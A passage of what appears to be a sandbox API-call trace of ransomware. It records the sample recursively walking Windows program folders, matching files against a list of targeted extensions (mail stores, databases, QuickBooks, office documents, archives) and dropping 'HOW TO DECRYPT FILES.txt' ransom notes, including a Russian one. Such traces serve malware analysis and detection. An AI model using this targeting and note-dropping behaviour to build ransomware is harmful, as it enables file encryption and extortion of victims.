(pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.myo") returned 0 [0076.370] lstrlenA (lpString="*.myo") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbw") returned 0 [0076.370] lstrlenA (lpString="*.qbw") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbb") returned 0 [0076.370] lstrlenA (lpString="*.qbb") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbm") returned 0 [0076.370] lstrlenA (lpString="*.qbm") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbo") returned 0 [0076.370] lstrlenA (lpString="*.qbo") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbx") returned 0 [0076.370] lstrlenA (lpString="*.qbx") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qba") returned 0 [0076.370] lstrlenA (lpString="*.qba") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qby") returned 0 [0076.370] lstrlenA (lpString="*.qby") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qbj") returned 0 [0076.370] lstrlenA (lpString="*.qbj") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.ofx") returned 0 [0076.370] lstrlenA (lpString="*.ofx") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.qif") returned 0 [0076.370] lstrlenA (lpString="*.qif") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.mye") returned 0 [0076.370] lstrlenA (lpString="*.mye") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.mbox") returned 0 [0076.370] lstrlenA (lpString="*.mbox") returned 6 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.eml") returned 0 [0076.371] lstrlenA (lpString="*.eml") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.pst") returned 0 [0076.371] lstrlenA (lpString="*.pst") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.ost") returned 0 [0076.371] lstrlenA (lpString="*.ost") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.idx") returned 0 [0076.371] lstrlenA (lpString="*.idx") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.dbx") returned 0 [0076.371] lstrlenA (lpString="*.dbx") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.sql") returned 0 [0076.371] lstrlenA (lpString="*.sql") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.mdb") returned 0 [0076.371] lstrlenA (lpString="*.mdb") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.fdb") returned 0 [0076.371] lstrlenA (lpString="*.fdb") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.wab") returned 0 [0076.371] lstrlenA (lpString="*.wab") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.dat") returned 0 [0076.371] lstrlenA (lpString="*.dat") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.txt") returned 0 [0076.371] lstrlenA (lpString="*.txt") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.jpeg") returned 0 [0076.371] lstrlenA (lpString="*.jpeg") returned 6 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.jpg") returned 0 [0076.371] lstrlenA (lpString="*.jpg") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.png") returned 0 [0076.371] lstrlenA (lpString="*.png") returned 5 [0076.371] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.php") returned 0 [0076.372] lstrlenA (lpString="*.php") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.cs") returned 0 [0076.372] lstrlenA (lpString="*.cs") returned 4 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.cpp") returned 0 [0076.372] lstrlenA (lpString="*.cpp") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.rar") returned 0 [0076.372] lstrlenA (lpString="*.rar") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.zip") returned 0 [0076.372] lstrlenA (lpString="*.zip") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.html") returned 0 [0076.372] lstrlenA (lpString="*.html") returned 6 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.htm") returned 0 [0076.372] lstrlenA (lpString="*.htm") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.xlsx") returned 0 [0076.372] lstrlenA (lpString="*.xlsx") returned 6 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.xls") returned 0 [0076.372] lstrlenA (lpString="*.xls") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.mp4") returned 0 [0076.372] lstrlenA (lpString="*.mp4") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.ppt") returned 0 [0076.372] lstrlenA (lpString="*.ppt") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.pptx") returned 0 [0076.372] lstrlenA (lpString="*.pptx") returned 6 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.doc") returned 0 [0076.372] lstrlenA (lpString="*.doc") returned 5 [0076.372] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.dot") returned 0 [0076.372] lstrlenA (lpString="*.dot") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.docx") returned 0 [0076.373] lstrlenA (lpString="*.docx") returned 6 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.7z") returned 0 [0076.373] lstrlenA (lpString="*.7z") returned 4 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.tar") returned 0 [0076.373] lstrlenA (lpString="*.tar") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.bz2") returned 0 [0076.373] lstrlenA (lpString="*.bz2") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.gz") returned 0 [0076.373] lstrlenA (lpString="*.gz") returned 4 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.mkv") returned 0 [0076.373] lstrlenA (lpString="*.mkv") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.eml") returned 0 [0076.373] lstrlenA (lpString="*.eml") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.msg") returned 0 [0076.373] lstrlenA (lpString="*.msg") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.edb") returned 0 [0076.373] lstrlenA (lpString="*.edb") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.accdb") returned 0 [0076.373] lstrlenA (lpString="*.accdb") returned 7 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.odb") returned 0 [0076.373] lstrlenA (lpString="*.odb") returned 5 [0076.373] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.java") returned 0 [0076.374] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0076.374] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.374] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0076.374] lstrcmpA (lpString1=".", lpString2="OFFICE14") returned -1 [0076.374] lstrcmpA (lpString1="..", lpString2="OFFICE14") returned -1 [0076.374] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.374] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OFFICE14" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" [0076.374] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.375] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.375] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.375] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.375] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.375] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.375] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0076.375] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0076.375] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*.*") returned="*.*" [0076.375] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" [0076.375] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.376] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.376] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.377] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.377] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdeee800, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdeee800, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x262180, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0076.377] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.377] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOINTL.DLL") returned -1 [0076.377] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOINTL.DLL") returned -1 [0076.377] lstrcmpiA (lpString1="", lpString2="MSOINTL.DLL") returned -1 [0076.377] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*.*") returned="*.*" [0076.377] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" [0076.377] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="" [0076.377] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" [0076.377] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\how to decrypt files.txt")) returned 0xffffffff [0076.377] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.384] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.384] CloseHandle (hObject=0x90) returned 1 [0076.384] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="MSOINTL.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL" [0076.384] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL", pszSpec="*.ems") returned 0 [0076.385] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0076.385] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOINTL.DLL.IDX_DLL") returned -1 [0076.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOINTL.DLL.IDX_DLL") returned -1 [0076.385] lstrcmpiA (lpString1="", lpString2="MSOINTL.DLL.IDX_DLL") returned -1 [0076.385] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL") returned="MSOINTL.DLL" [0076.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" [0076.385] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="" [0076.385] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" [0076.385] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\how to decrypt files.txt")) returned 0x20 [0076.385] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="MSOINTL.DLL.IDX_DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" [0076.385] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", pszSpec="*.ems") returned 0 [0076.385] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0076.385] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOINTL.REST.IDX_DLL") returned -1 [0076.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOINTL.REST.IDX_DLL") returned -1 [0076.385] lstrcmpiA (lpString1="", lpString2="MSOINTL.REST.IDX_DLL") returned -1 [0076.386] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned="MSOINTL.DLL.IDX_DLL" [0076.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" [0076.386] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\") returned="" [0076.386] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" [0076.386] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\how to decrypt files.txt")) returned 0x20 [0076.386] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\", lpString2="MSOINTL.REST.IDX_DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" [0076.386] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", pszSpec="*.ems") returned 0 [0076.386] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 0 [0076.386] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.387] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a395f00, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xae3504c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a395f00, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x35afb0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0076.387] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Csi.dll") returned 1 [0076.387] lstrcmpiA 